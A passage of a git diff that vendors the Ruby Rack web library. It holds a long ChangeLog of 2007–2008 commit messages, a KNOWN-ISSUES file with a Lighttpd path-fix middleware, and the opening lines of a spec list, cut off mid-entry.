+Mon Jun 2 23:37:45 2008 -0700 Scytrin dai Kinthra + * Removal of trailing whitespace + +Mon Jun 2 21:14:40 2008 -0700 Scytrin dai Kinthra + * Use $DEBUG for introspective output + +Sun May 25 19:26:55 2008 -0700 Scytrin dai Kinthra + * Make OpenID2 accessible by default + +Sun May 25 19:18:44 2008 -0700 Scytrin dai Kinthra + * Inclusion of ruby-openid 2.x compatible OpenID implementation + +Mon Jun 23 03:32:04 2008 -0700 Scytrin dai Kinthra + * Removal of extraneous debugging output + +Sun Jun 15 13:51:31 2008 +0200 Christian Neukirchen + * Check for block in Builder before instance_eval + +Thu Jun 12 17:17:24 2008 +0200 Christian Neukirchen + * Merge commit 'scytrin/master' + +Fri Jun 6 20:54:30 2008 -0700 Scytrin dai Kinthra + * Added documentation, checks, and tests for Rack::Utils::Context + +Fri Jun 6 17:25:35 2008 -0700 Adam Wiggins + * commonlogger passes through close call (fixes zombie process bug when serving popen responses) + +Tue Jun 3 21:55:55 2008 -0700 Scytrin dai Kinthra + * Reworking session/abstract/id and derived session implementations + Formatting for readability + Adjusted session-id finding for compatibility + Added checks, rescues, and debugging output + Adjusted and added tests + +Tue Jun 3 20:09:19 2008 -0700 Scytrin dai Kinthra + * Removal of lingering debug output in directory.rb + +Mon Jun 2 00:50:45 2008 -0700 Scytrin dai Kinthra + * Requiring socket stdlib for UNIXSocket and TCPSocket + +Sun Jun 1 06:34:14 2008 -0700 Scytrin dai Kinthra + * Tests for Rack::Directory, as well as removal of Rack::File dependency + +Sun Jun 1 06:07:44 2008 -0700 Scytrin dai Kinthra + * Addition of Directory to autoload index + +Sat May 31 14:32:34 2008 +0200 Christian Neukirchen + * Merge commit 'josh-mirror/master' + +Sat May 31 14:26:43 2008 +0200 Christian Neukirchen + * More cleanup + +Sat May 31 14:21:56 2008 +0200 Christian Neukirchen + * Mention Git repositories in README + +Sat May 31 14:09:31 2008 +0200 Christian Neukirchen + * Cleanup + +Mon May 26 09:12:22 2008 -0500 Joshua Peek + * Skip Camping and Memcache tests if the gems are not installed. + +Sun May 25 14:32:00 2008 +0000 Christian Neukirchen + * Add Rack.release for the version of the release. + +Sat May 24 17:54:49 2008 +0200 Christian Neukirchen + * Merge commit 'josh/master' + +Sat May 24 15:54:00 2008 +0000 Christian Neukirchen + * Allow handlers to register themselves with Rack::Handler. + +Sat May 24 09:57:09 2008 -0500 Joshua Peek + * Allow handlers to register themselves with Rack::Handler. + +Sat May 24 14:23:10 2008 +0200 Christian Neukirchen + * Merge commit '37c59dce25df4' + +Sat May 24 12:22:00 2008 +0000 Christian Neukirchen + * Merge walf443/rack-mirror + +Sat May 24 02:16:39 2008 +0900 Keiji, Yoshimi + * It may be better to show HTTP_X_FORWARDED_FOR if it exists. + It's useful when using reverse proxy in front of app server using Rack. + +Sun May 18 17:06:58 2008 +0200 Christian Neukirchen + * Merge commit 'josh/master' + +Sun May 18 15:05:00 2008 +0000 Christian Neukirchen + * Merge 'josh/rack-mirror' + +Sat May 17 15:39:16 2008 -0500 Joshua Peek + * Include EventedMongrel handler with Rack. + +Sat May 10 17:16:29 2008 +0200 Christian Neukirchen + * Merge commit 'josh/daemonize' + +Sat May 10 15:10:00 2008 +0000 Christian Neukirchen + * Merge josh/daemonize + +Tue May 6 18:14:47 2008 -0500 Joshua Peek + * Only write a rack pid if a file is given. + +Tue May 6 15:44:15 2008 -0500 Joshua Peek + * Added support for daemonizing servers started with rackup. + +Fri May 2 21:05:00 2008 +0000 Christoffer Sawicki + * utils.rb, spec_rack_utils.rb - Added build_query, the inverse of parse_query + +Fri May 2 20:53:00 2008 +0000 Christoffer Sawicki + * utils.rb - Cleaned up parse_query + +Fri May 2 21:04:00 2008 +0000 Christoffer Sawicki + * spec_rack_utils.rb - Added another test for parse_query + +Sat Apr 26 21:37:00 2008 +0000 Scytrin dai Kinthra + * session/abstract/id.rb - removal of gratuitous debug output + +Fri Apr 25 23:55:00 2008 +0000 Scytrin dai Kinthra + * directory.rb - serves html index for nonfile paths + + Rack::File similar processing of paths. On directory lookups it will serve + a html index of it's contents. Entries begining with '.' are not presented. + On lookups that result in a file, it will pass an unmodified env to the + provided app. If an app is not provided, a Rack::File with the same root is + used. + +Fri Apr 18 10:12:00 2008 +0000 Christian Neukirchen + * Open multipart tempfiles in binary mode + +Thu Apr 10 20:26:00 2008 +0000 ryan + * handle EOFError exception in Request#params + +Sat Mar 29 19:58:00 2008 +0000 Scytrin dai Kinthra + * utils.rb - addition of recontexting from a Context + +Sun May 25 14:33:00 2008 +0000 Christian Neukirchen + * Convert Rakefile to use Git + +Thu Mar 27 11:09:00 2008 +0000 Adam Harper + * Bug fix for Tempfile POST bodies under Ruby 1.8 + + The Tempfile class in Ruby 1.8 doesn't implement the == method correctly. + This causes Rack::Requests to re-parse the input (when the input is a + Tempfile) each time the POST method is called, this in turn raises an + EOFError because the input has already been read. + + One example of when this happens is when handling large POST requests + (e.g. file uploads) under Mongrel. + + This issue only effects Ruby 1.8 (tested against 1.8.6). Ruby 1.9 does + not suffer from this issue (presumably due to changes in the Delegate + implementation.) + +Sat Mar 29 04:32:00 2008 +0000 Scytrin dai Kinthra + * memcache.rb - Fixed immortal key bug, updated tests + + Old multithread behaviour was to merge sessions, which would never delete + keys, even if deleted in the current session. + +Tue Mar 25 11:15:00 2008 +0000 Scytrin dai Kinthra + * abstract/id.rb - Added check on correctness of response. + +Thu Mar 20 16:11:00 2008 +0000 Christian Neukirchen + * Run Rack::Session::Memcache tests in fulltest only + +Wed Mar 19 11:43:00 2008 +0000 Scytrin dai Kinthra + * memcache.rb - memcached based session management + +Thu Mar 20 16:06:00 2008 +0000 Christian Neukirchen + * Rack::Reloader is not loaded in rackup development mode anymore + +Tue Mar 18 04:04:00 2008 +0000 Scytrin dai Kinthra + * openid.rb - documentation and check on using ruby-openid 1.x.x + +Tue Mar 18 10:59:00 2008 +0000 Christian Neukirchen + * Update History + +Tue Mar 18 10:57:00 2008 +0000 Christian Neukirchen + * Update Rakefile + +Tue Mar 18 10:55:00 2008 +0000 Christian Neukirchen + * Make fulltest chmod the executables + +Tue Mar 18 10:54:00 2008 +0000 Christian Neukirchen + * Small README tweak + +Mon Mar 17 23:28:00 2008 +0000 stephen.bannasch + * Changes to get lighttpd setup and running when rake fulltest is run; also added some doc to the readme about running tests + +Mon Mar 17 16:03:00 2008 +0000 Scytrin dai Kinthra + * urlmap.rb - update test in allowance of non-destructive HeaderHash + +Mon Mar 17 15:59:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - cleanup of session merging and threading collision checks + +Mon Mar 17 15:51:00 2008 +0000 Christian Neukirchen + * URLMap tweaks and more tests + +Mon Mar 17 15:51:00 2008 +0000 Christian Neukirchen + * Don't lose empty headers in HeaderHash + +Mon Mar 17 15:26:00 2008 +0000 Scytrin dai Kinthra + * urlmap.rb - alteration of path selection routines, with updated tests + + Previous implementation would append an extra '/' if PATH_NAME would otherwise + be empty. + +Mon Mar 17 11:19:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - explicit require for thread stdlib + +Mon Mar 17 09:12:00 2008 +0000 Scytrin dai Kinthra + * pool.rb, id.rb - creation of abstract id based session handler + + Allows simpler implementation of various storage based sessioning. + More stringent type checks in id.rb + +Sun Mar 16 14:31:00 2008 +0000 Scytrin dai Kinthra + * updated and addition to tests for pool.rb for expiration and thread safety + + Running the freshness tests sleeps for 4 seconds to allow a session's + expiration point to pass. + +Sun Mar 16 14:30:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - addition of session freshness check and upkeep routines + +Sun Mar 16 13:23:00 2008 +0000 Scytrin dai Kinthra + * utils.rb - Utils::Context - addition of introspection methods + +Sun Mar 16 11:55:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - documentation update and collision warnings + +Sun Mar 16 09:01:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - documentation revision, addition of @mutex accessor + +Sun Mar 16 08:33:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - setup of expiry not using defined?, from apeiros + +Sun Mar 16 08:26:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - saner metadata storage + +Sun Mar 16 08:23:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - cleanup and THANKS + +Sun Mar 16 08:21:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - addition of thread safety + +Sun Mar 16 04:59:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - moved cookie building back to #commit_session + +Fri Mar 14 23:57:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - faster session id generation from apeiros + +Mon Mar 17 10:56:00 2008 +0000 Christian Neukirchen + * Require time in rack/file.rb + + Reported by Stephen Bannasch. + +Sat Mar 15 13:51:00 2008 +0000 r + * Fix that Request assumes form-data even when Content-Type says otherwise + + Fixes cases where accessing Request#params causes the body to be read and + processed as form-data improperly. For example, consider the following + request: + + PUT /foo/bar?baz=bizzle HTTP/1.1 + Content-Type: text/plain + + This is not form-data. + + When Rack::Request gets ahold of the corresponding environment, and the + application attempts to access the "baz" query string param, the body is read + and interpreted as form-data. If the body is an IOish object, this causes the + offset to be forwarded to the end of file. + + The patch prevents the Request#POST method from going into the body unless the + media type is application/x-www-form-urlencoded, multipart/form-data, or not + specified. + + While here, added a few unrelated helper methods to Request that I've found + particularly useful in Rack apps: #content_length, #head?, and #content_charset. + + Tests and doc included for all changes. + +Tue Mar 11 12:02:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - cleanup and portability revisions + +Tue Mar 11 11:59:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - exported assignment of session id cookie + +Tue Mar 11 11:56:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - exported session to pool commit + +Tue Mar 11 11:52:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - altered session metadata storage and session commit point + +Tue Mar 11 11:29:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - exported generation of a new session id + +Tue Mar 11 11:25:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - moved inline hash to DEFAULT_OPTIONS + +Tue Mar 11 11:11:00 2008 +0000 Scytrin dai Kinthra + * pool.rb - removal of blocks for #context + + Before you could pass a block to Pool#context that would be passed the env + before performing a call on the passed app. This has been removed in deference + to the practice setting up the block as the passed app, which should + subsequently call the intended app. + Seems more in accordance with Rack's prescribed behaviour. + +Tue Mar 11 07:51:00 2008 +0000 Scytrin dai Kinthra + * Alteration of Mongrel.run for Mongrel based routing + + With the passing of the :map option Mongrel.run will handle the passing of a + Hash or URLMap rather than a standard rack app. The mapping provided by the + passed object will be used to register uris with the mongrel instance. + + Hashes should only have absolute paths for keys and apps for values. + + URLMaps will be filtered if the :Host options is specified, or the mapping's + host is set. + +Tue Mar 11 06:31:00 2008 +0000 Scytrin dai Kinthra + * Addition of #add, #<<, and #include? to Cascade, allowing iterative addition of apps + +Mon Mar 10 15:18:00 2008 +0000 Scytrin dai Kinthra + * Changed urlmap.rb's uri check to successive conditionals rather than one big one + +Tue Feb 26 12:28:00 2008 +0000 Christian Neukirchen + * Update README and docs + +Sun Feb 24 19:37:00 2008 +0000 Christian Neukirchen + * Don't use autoloads in the test suite + +Sun Feb 24 18:48:00 2008 +0000 Christian Neukirchen + * Fix test cases that used 201 as a status where Content-Type is not allowed + +Sun Feb 24 18:46:00 2008 +0000 Christian Neukirchen + * Fix cookie parsing + +Sun Feb 24 17:51:00 2008 +0000 Christian Neukirchen + * Let Rack::Builder#use accept blocks + + Contributed by Corey Jewett. + +Mon Feb 18 21:18:00 2008 +0000 Christian Neukirchen + * Don't create invalid header lines when only deleting a cookie + + Reported by Andreas Zehnder + +Sun Feb 3 17:14:00 2008 +0000 Christian Neukirchen + * Update lint to not check for 201 status headers + +Sun Feb 3 17:00:00 2008 +0000 Christian Neukirchen + * HTTP status 201 can contain a body + +Fri Jan 25 08:36:00 2008 +0000 Christian Neukirchen + * Add SCGI handler, by Jeremy Evans + +Tue Jan 22 04:23:00 2008 +0000 m.fellinger + * Fix syntax for toggle() in ShowExceptions + +Mon Jan 21 02:27:00 2008 +0000 Aman Gupta + * Conform to RFC 2109 regarding multiple values for same cookie + +Thu Jan 10 15:29:00 2008 +0000 Christian Neukirchen + * Remove Rack::Adapter::Rails autoload + +Mon Dec 31 18:34:00 2007 +0000 Christian Neukirchen + * Remove uses of base64 for Ruby 1.9 support + +Sun Dec 9 16:48:00 2007 +0000 Christian Neukirchen + * Make Rack::Lint actually check what the spec says. + +Sun Nov 18 20:09:00 2007 +0000 Scytrin dai Kinthra + * lib/rack/auth/openid.rb - typo! + +Sun Nov 18 20:03:00 2007 +0000 Scytrin dai Kinthra + * lib/rack/auth/openid.rb - updates to reflect rack styling + +Sun Nov 18 19:54:00 2007 +0000 Scytrin dai Kinthra + * lib/rack/auth/openid.rb - removal of block functionality + + The block argumentn functionality was causing a few complications and + was removed in favour of storing the openid status object in the + environment. A wrapping proc oor rack app can now achieve the same + functionality as the block could, in a cleaner manner. + +Sun Nov 18 19:51:00 2007 +0000 Christian Neukirchen + * Small fix for the new FastCGI options + +Sun Nov 18 19:16:00 2007 +0000 Scytrin dai Kinthra + * lib/rack/urlmap.rb - Restyle of host matching from 'and' and 'or' to && and || + +Tue Aug 28 23:02:00 2007 +0000 Scytrin dai Kinthra + * Reformat and representation of mapping selection routine. + +Sun Nov 18 19:20:00 2007 +0000 Christian Neukirchen + * Minor tweaks in blink's code + +Sun Nov 18 18:45:00 2007 +0000 Scytrin dai Kinthra + * lib/rack/auth/openid.rb - removal of rubygems require + +Sun Nov 18 07:46:00 2007 +0000 Scytrin dai Kinthra + * lib/rack.rb - Addition of Auth::OpenID + +Sun Nov 18 07:45:00 2007 +0000 Scytrin dai Kinthra + * lib/rack.rb - Addition of new Session::Pool and Memcache + +Sun Nov 18 05:08:00 2007 +0000 Scytrin dai Kinthra + * session/pool.rb - Updated to use Rack::Utils::Context + +Sun Nov 18 04:57:00 2007 +0000 Scytrin dai Kinthra + * Inclusion of the openid result for the post-run block + +Sun Nov 18 04:54:00 2007 +0000 Scytrin dai Kinthra + * Addition of post-run block for extensibility + +Sun Nov 18 04:53:00 2007 +0000 Scytrin dai Kinthra + * Addition of request to provide a default return url + +Sun Nov 18 04:50:00 2007 +0000 Scytrin dai Kinthra + * Cleanup of code, errant error call + +Sun Nov 18 04:45:00 2007 +0000 Scytrin dai Kinthra + * Addition of Rack::Utils::Context + + Allows the use of a rack app in different contexts using a proc. + +Sun Nov 18 04:42:00 2007 +0000 Scytrin dai Kinthra + * Errors now method calls rather than constants. + +Thu Aug 30 13:30:00 2007 +0000 Scytrin dai Kinthra + * addition of js -> text/javascript to file types + +Thu Aug 30 13:28:00 2007 +0000 Scytrin dai Kinthra + * addition of Last-Modified http header to Rack::File + +Tue Aug 28 23:14:00 2007 +0000 Scytrin dai Kinthra + * Addition of credits, #for to allow app context change, and addition of a #key accessor + +Wed Aug 22 04:17:00 2007 +0000 Scytrin dai Kinthra + * lib/rack/handler/fastcgi.rb - :Port and :File options for opening sockets + +Fri Aug 17 07:09:00 2007 +0000 Scytrin dai Kinthra + * lib/rack/auth/openid.rb: openid login authenticator + +Thu Nov 15 16:21:00 2007 +0000 Christian Neukirchen + * Fix SCRIPT_NAME in nested URLMaps + +Thu Nov 15 16:20:00 2007 +0000 Christian Neukirchen + * Update AUTHORS and thanks + +Thu Nov 15 16:11:00 2007 +0000 Christian Neukirchen + * Fix warning + +Thu Nov 15 16:10:00 2007 +0000 Christian Neukirchen + * Make Rack::Builder#to_app nondestructive + +Tue Oct 9 14:35:00 2007 +0000 Christian Neukirchen + * Fix Cookie dates accordingly to RFC 2109 + +Wed Sep 12 09:15:00 2007 +0000 Christian Neukirchen + * Mention PUT as allowed request method in the spec + +Sat Aug 11 17:28:00 2007 +0000 Scytrin dai Kinthra + * pool.rb - local session storage hash pool w/ tests + +Thu Jul 12 09:02:00 2007 +0000 Christian Neukirchen + * Add LiteSpeed handler + + Courtesy of Adrian Madrid + +Thu Jun 14 20:34:00 2007 +0000 Christoffer Sawicki + * Make Rack::File serve files with URL encoded filenames + +Thu May 31 16:36:00 2007 +0000 Christian Neukirchen + * Make Rack::Response possibly close the body + + Proposed by Jonathan Buch + +Thu May 17 12:06:00 2007 +0000 Christian Neukirchen + * Better running of lighttpd for testing + +Wed May 16 17:34:00 2007 +0000 Christian Neukirchen + * Credit Luc Heinrich + +Wed May 16 15:01:00 2007 +0000 Christian Neukirchen + * Different approach to Mongrel#run testing + +Wed May 16 14:53:00 2007 +0000 Christian Neukirchen + * Fix trailing whitespace. Sigh. + +Wed May 16 14:44:00 2007 +0000 Christian Neukirchen + * Update README + +Wed May 16 14:43:00 2007 +0000 Christian Neukirchen + * Yield the servers optionally + +Wed May 16 14:32:00 2007 +0000 Christian Neukirchen + * Small docfixes + +Tue May 15 23:44:00 2007 +0000 Michael Fellinger + * replace the 'system' calls in Rakefile with 'sh', making them more transparent and --trace able + +Tue May 15 23:42:00 2007 +0000 Michael Fellinger + * add some features to Request and the corresponding tests for them + +Tue May 15 15:43:00 2007 +0000 Christian Neukirchen + * Make Rack::Handler::*.run yield the server for further configuration + +Fri May 11 15:31:00 2007 +0000 Christian Neukirchen + * Remove the Rails adapter, it was never useful + +Fri May 11 15:12:00 2007 +0000 Christian Neukirchen + * Introduce Rack::Response::Helpers and make MockResponse use them, too. + +Fri May 11 14:56:00 2007 +0000 Christian Neukirchen + * Add some more edge-case tests to improve coverage + +Sun Apr 29 12:55:00 2007 +0000 Christoffer Sawicki + * Add missing autoload for Cascade in rack.rb + +Thu Apr 26 14:05:00 2007 +0000 Christian Neukirchen + * Make ShowStatus more robust + +Wed Apr 18 13:15:00 2007 +0000 Christian Neukirchen + * Add Rack::Response#empty? + +Tue Apr 3 20:59:00 2007 +0000 Tim Fletcher + * Minor tweaks + +Tue Apr 3 20:58:00 2007 +0000 Tim Fletcher + * Some initial documentation for the main authentication classes + +Tue Apr 3 20:56:00 2007 +0000 Tim Fletcher + * An example of how to use Rack::Auth::Basic. Protect your lobsters! + +Tue Apr 3 20:17:00 2007 +0000 Tim Fletcher + * Make Rack::Auth handlers compatible with Rack::ShowStatus + +Tue Apr 3 20:09:00 2007 +0000 Tim Fletcher + * Ensure Rack::ShowStatus passes on headers + +Fri Mar 30 13:12:00 2007 +0000 Christian Neukirchen + * Add Request#fullpath + +Thu Mar 29 14:24:00 2007 +0000 Christian Neukirchen + * Add Rack::ShowStatus, a filter to generate common error messages + +Thu Mar 29 14:20:00 2007 +0000 Christian Neukirchen + * Add a list of HTTP status messages + +Tue Mar 27 09:06:00 2007 +0000 Christian Neukirchen + * Small cleanup + +Mon Mar 26 21:27:00 2007 +0000 Tim Fletcher + * Adding Rack::Auth::Digest::MD5, and refactoring Auth::Basic accordingly + +Sat Mar 24 14:36:00 2007 +0000 Christian Neukirchen + * Doc fix, Request should have been Reponse + + Thanks, apeiros + +Mon Mar 12 16:45:00 2007 +0000 Christian Neukirchen + * Add a test for the broken cookie sessions + +Mon Mar 12 16:04:00 2007 +0000 luc + * Make sure we get a valid empty session hash in all cases. + +Sun Mar 11 14:06:00 2007 +0000 Christian Neukirchen + * Integrate Rack::Static + +Sun Mar 11 14:04:00 2007 +0000 Christian Neukirchen + * Ducktype on #to_str for Rack::Response.new + + proposed by Gary Wright + +Sun Mar 11 13:43:00 2007 +0000 luc + * Added Rack::Static middleware. + +Sun Mar 11 13:50:00 2007 +0000 Christian Neukirchen + * Make Rack::Response#write call #to_s + + proposed by Gary Wright + +Sat Mar 10 14:38:00 2007 +0000 Christian Neukirchen + * Fix Rack::Session::Cookie + +Fri Mar 9 23:40:00 2007 +0000 luc + * Cookie based session management middleware. + +Tue Mar 6 21:12:00 2007 +0000 Christian Neukirchen + * Load pp when debugging + +Tue Mar 6 12:19:00 2007 +0000 Christian Neukirchen + * Integrate patches + +Sun Mar 4 15:12:00 2007 +0000 Tim Fletcher + * Adding Rack::Auth::Basic + +Sun Mar 4 02:29:00 2007 +0000 Aredridel + * Fix Camping redirects into Strings when they're URIs + +Sat Mar 3 17:20:00 2007 +0000 Christian Neukirchen + * Fix things that should have been fixed before the release *sigh* + +Sat Mar 3 12:40:00 2007 +0000 Christian Neukirchen + * Fix CGI permissions + +Sat Mar 3 12:34:00 2007 +0000 Christian Neukirchen + * Last-minute details + +Sat Mar 3 11:15:00 2007 +0000 Christian Neukirchen + * Extend gemspec + +Sat Mar 3 10:37:00 2007 +0000 Christian Neukirchen + * Small README fixes + +Sat Mar 3 10:16:00 2007 +0000 Christian Neukirchen + * Add README and other documentation + +Sat Mar 3 09:58:00 2007 +0000 Christian Neukirchen + * Add and integrate Rakefile + +Sat Mar 3 09:56:00 2007 +0000 Christian Neukirchen + * Add some missing tests + +Fri Mar 2 23:53:00 2007 +0000 Christoffer Sawicki + * Tidy up RailsDispatcher::CGIStub + +Fri Mar 2 16:55:00 2007 +0000 Christian Neukirchen + * Handle SCRIPT_NAME better in *CGI environments + +Fri Mar 2 15:10:00 2007 +0000 Christian Neukirchen + * Remove lighttpd comment. + + The bug has been fixed in later versions. + +Thu Mar 1 18:53:00 2007 +0000 Christian Neukirchen + * Add RDocs + +Wed Feb 28 22:19:00 2007 +0000 Christoffer Sawicki + * Make Adapter::Rails use Cascade + +Wed Feb 28 20:06:00 2007 +0000 Christian Neukirchen + * Fix warnings + +Wed Feb 28 20:03:00 2007 +0000 Christian Neukirchen + * Add Rack::Cascade, to pass on the first non 404 result + +Wed Feb 28 19:12:00 2007 +0000 Christian Neukirchen + * Move TestRequest to test/ + +Wed Feb 28 19:09:00 2007 +0000 Christian Neukirchen + * Make spec_rack_lint.rb use mocks + +Wed Feb 28 18:56:00 2007 +0000 Christian Neukirchen + * Make spec_rack_camping.rb use mocks + +Wed Feb 28 18:55:00 2007 +0000 Christian Neukirchen + * Make spec_rack_urlmap.rb use mocks + +Wed Feb 28 18:30:00 2007 +0000 Christian Neukirchen + * Make spec_rack_showexceptions.rb use mocks + +Wed Feb 28 18:26:00 2007 +0000 Christian Neukirchen + * Make spec_rack_request.rb use mocks + +Wed Feb 28 18:25:00 2007 +0000 Christian Neukirchen + * Don't clash constants in specifications + +Wed Feb 28 18:21:00 2007 +0000 Christian Neukirchen + * MockRequest can now only create the Rack environment + +Wed Feb 28 18:13:00 2007 +0000 Christian Neukirchen + * Make spec_rack_recursive.rb use mocks + +Wed Feb 28 17:50:00 2007 +0000 Christian Neukirchen + * Add a default SCRIPT_NAME + +Wed Feb 28 17:44:00 2007 +0000 Christian Neukirchen + * Make spec_rack_file.rb use mocks + +Wed Feb 28 17:40:00 2007 +0000 Christian Neukirchen + * Make spec_rack_commonlogger.rb use mocks + +Wed Feb 28 17:35:00 2007 +0000 Christian Neukirchen + * Add support for mocking all request methods + +Wed Feb 28 17:29:00 2007 +0000 Christian Neukirchen + * Add MockRequest/MockResponse for easier testing + +Wed Feb 28 13:45:00 2007 +0000 Christian Neukirchen + * Remove the port number of HTTP_HOST and SERVER_NAME + +Wed Feb 28 13:33:00 2007 +0000 Christian Neukirchen + * Make multipart reading more robust + +Wed Feb 28 12:56:00 2007 +0000 Christian Neukirchen + * Make Rack::Request read multipart form data + +Wed Feb 28 12:56:00 2007 +0000 Christian Neukirchen + * Allow rack.input.read(integer), needed for safe multipart parsing + +Mon Feb 26 18:45:00 2007 +0000 Christian Neukirchen + * Add CGI and FastCGI support for rackup + +Mon Feb 26 18:42:00 2007 +0000 Christian Neukirchen + * Make *CGI#run really like the others + +Mon Feb 26 18:10:00 2007 +0000 Christian Neukirchen + * Adapt Rack::Handler::CGI API + +Mon Feb 26 17:59:00 2007 +0000 Christian Neukirchen + * Add a FastCGI handler + +Sun Feb 25 21:14:00 2007 +0000 Christian Neukirchen + * Make Rack::Response#write return the written string to catch errors with nested writes + +Sun Feb 25 15:49:00 2007 +0000 Christian Neukirchen + * Add Rack::Reloader, a code autoreloader + +Sun Feb 25 13:46:00 2007 +0000 Christian Neukirchen + * Ensure the Response body is writable + +Sun Feb 25 13:40:00 2007 +0000 Christian Neukirchen + * Improve the Rack::Response constructor + + based on a patch from mitsuhiko. + +Sun Feb 25 12:24:00 2007 +0000 Christian Neukirchen + * Add the official logo + +Sat Feb 24 18:03:00 2007 +0000 Christian Neukirchen + * Add rackup, an experimental standalone Rack app starter + +Sat Feb 24 18:02:00 2007 +0000 Christian Neukirchen + * Add Rack::Builder, a DSL for connecting Rack apps + +Sat Feb 24 18:01:00 2007 +0000 Christian Neukirchen + * Really fix URLMap + +Thu Feb 22 20:35:00 2007 +0000 Christian Neukirchen + * Lint fix + +Thu Feb 22 20:34:00 2007 +0000 Christian Neukirchen + * Route root app correctly in URLMap + +Thu Feb 22 11:10:00 2007 +0000 Christian Neukirchen + * Add tests for Request#query_string + +Wed Feb 21 22:25:00 2007 +0000 Christoffer Sawicki + * Add getter method for the query string (and use it internally) + +Wed Feb 21 17:29:00 2007 +0000 Christoffer Sawicki + * Extended CGIStub to handle Rails' session cookie + +Wed Feb 21 19:23:00 2007 +0000 Christian Neukirchen + * Add a first draft of the specification to Rack::Lint + +Wed Feb 21 18:49:00 2007 +0000 Christian Neukirchen + * Ensure the body is closed + +Wed Feb 21 17:46:00 2007 +0000 Christian Neukirchen + * Add AUTHORS + +Wed Feb 21 16:49:00 2007 +0000 Christoffer Sawicki + * Basic Rails handler for Rack + +Wed Feb 21 17:03:00 2007 +0000 Christian Neukirchen + * Add Request#url + +Wed Feb 21 16:41:00 2007 +0000 Christian Neukirchen + * Fix extension->MIME mapping + +Wed Feb 21 15:13:00 2007 +0000 Christian Neukirchen + * Add Rack::Recursive and ForwardRequest + +Wed Feb 21 15:11:00 2007 +0000 Christian Neukirchen + * URLMap should only look at PATH_INFO + +Tue Feb 20 18:15:00 2007 +0000 Christian Neukirchen + * Call body#close if possible + +Mon Feb 19 12:19:00 2007 +0000 Christian Neukirchen + * Small exception handler tweak + +Mon Feb 19 11:22:00 2007 +0000 Christian Neukirchen + * Return empty hash on lack of cookies + +Mon Feb 19 11:22:00 2007 +0000 Christian Neukirchen + * Fix host dispatching with explicit ports + +Mon Feb 19 10:23:00 2007 +0000 Christian Neukirchen + * Cache the parsed things in Rack::Request + +Sun Feb 18 23:23:00 2007 +0000 Christian Neukirchen + * Rename Request#method to #request_method to not confuse stdlibs + +Sun Feb 18 23:02:00 2007 +0000 Christian Neukirchen + * Add Camping adapter autoload + +Sun Feb 18 22:52:00 2007 +0000 Christian Neukirchen + * Put Rack under the MIT license + +Sun Feb 18 18:07:00 2007 +0000 Christian Neukirchen + * Add Rack::CommonLogger, a Common Log Format request logger + +Sun Feb 18 17:52:00 2007 +0000 Christian Neukirchen + * Make Response#status and #body settable + +Sun Feb 18 10:50:00 2007 +0000 Christian Neukirchen + * More convenience for Rack::Request + +Sat Feb 17 13:49:00 2007 +0000 Christian Neukirchen + * Remove trailing whitespace *sigh* + +Sat Feb 17 13:46:00 2007 +0000 Christian Neukirchen + * Add Rack::URLMap, a simple router + +Sat Feb 17 13:04:00 2007 +0000 Christian Neukirchen + * Remove Python leftover + +Sat Feb 17 12:57:00 2007 +0000 Christian Neukirchen + * Add a Camping adapter + +Sat Feb 17 12:57:00 2007 +0000 Christian Neukirchen + * Don't define path_info twice + +Sat Feb 17 12:56:00 2007 +0000 Christian Neukirchen + * Add Rack::ShowExceptions + +Sat Feb 17 12:55:00 2007 +0000 Christian Neukirchen + * Remove stray paths + +Fri Feb 16 16:54:00 2007 +0000 Christian Neukirchen + * Add lobster version with Request/Response + +Fri Feb 16 16:53:00 2007 +0000 Christian Neukirchen + * Make Rack::Response#write syncronous + +Fri Feb 16 16:42:00 2007 +0000 Christian Neukirchen + * Add more Rack::Utils specs + +Fri Feb 16 16:34:00 2007 +0000 Christian Neukirchen + * Add Rack::Response and Rack::Utils + +Fri Feb 16 15:32:00 2007 +0000 Christian Neukirchen + * Add Rack::Request + +Fri Feb 16 15:30:00 2007 +0000 Christian Neukirchen + * Add Rack::File, a static file server + +Fri Feb 16 14:51:00 2007 +0000 Christian Neukirchen + * Move testing helpers to TestRequest + +Fri Feb 16 13:40:00 2007 +0000 Christian Neukirchen + * Add a lobster + +Fri Feb 16 13:39:00 2007 +0000 Christian Neukirchen + * Add rack.rb with autoloads for convenience + +Fri Feb 16 13:33:00 2007 +0000 Christian Neukirchen + * Add quick run methods for WEBrick and Mongrel + +Fri Feb 16 13:27:00 2007 +0000 Christian Neukirchen + * Fix lint to allow empty SCRIPT_NAME and PATH_INFO + +Fri Feb 16 13:01:00 2007 +0000 Christian Neukirchen + * Add Lint to the tests + +Fri Feb 16 12:49:00 2007 +0000 Christian Neukirchen + * Add Rack::Lint + +Thu Feb 15 18:05:00 2007 +0000 Christian Neukirchen + * Initial import of Rack + diff --git a/vendor/plugins/rack/KNOWN-ISSUES b/vendor/plugins/rack/KNOWN-ISSUES new file mode 100644 index 00000000..790199bd --- /dev/null +++ b/vendor/plugins/rack/KNOWN-ISSUES @@ -0,0 +1,18 @@ += Known issues with Rack and Web servers + +* Lighttpd sets wrong SCRIPT_NAME and PATH_INFO if you mount your + FastCGI app at "/". This can be fixed by using this middleware: + + class LighttpdScriptNameFix + def initialize(app) + @app = app + end + + def call(env) + env["PATH_INFO"] = env["SCRIPT_NAME"].to_s + env["PATH_INFO"].to_s + env["SCRIPT_NAME"] = "" + @app.call(env) + end + end + + Of course, use this only when your app runs at "/". diff --git a/vendor/plugins/rack/RDOX b/vendor/plugins/rack/RDOX new file mode 100644 index 00000000..becae4a4 --- /dev/null +++ b/vendor/plugins/rack/RDOX @@ -0,0 +1,324 @@ + +== Rack::Auth::Basic +* should challenge correctly when no credentials are specified +* should rechallenge if incorrect credentials are specified +* should return application output if correct credentials are specified +* should return 